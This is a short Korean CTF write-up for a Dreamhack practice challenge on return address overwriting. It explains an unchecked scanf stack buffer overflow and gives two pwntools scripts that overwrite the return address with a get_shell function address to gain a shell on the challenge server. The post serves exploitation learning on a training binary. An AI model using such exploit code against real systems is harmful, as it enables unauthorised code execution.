카테고리 없음

Return address overwrite 실습 라이트업

tree frog 2024. 9. 22. 17:09

 

문제 파일 다운 후 rao.c 파일을 열어보면 25번째 줄에 Stack Buffer Overflow 취약점이 있는 함수인 scanf를 찾을 수 있음.

 

입력된 데이터를 buf 배열에 저장하는데 배열의 크기에 비해 입력된 데이터의 길이를 검사하지 않으므로, 이 버그를 활용.

 

 

from pwn import *

# 원격 서버 정보
p = remote('host3.dreamhack.games', 10962)

# 바이너리 파일 로드
elf = ELF('./rao')

# get_shell 함수 주소 가져오기
get_shell = elf.symbols['get_shell']

# 페이로드 구성
payload = b'A' * 0x28  # buf 크기만큼 채움 (40 bytes)
payload += b'B' * 8    # 리턴 주소 덮어쓰기 전에 추가 패딩 (8 bytes)
payload += p64(get_shell)  # get_shell 주소로 리턴 주소 덮어쓰기

# 페이로드 전송
p.sendline(payload)

# 상호작용 모드로 셸 획득
p.interactive()

 

오류가 자꾸 나서

from pwn import *

p = remote("host1.dreamhack.games", 9083)
context.arch = "amd64"

payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()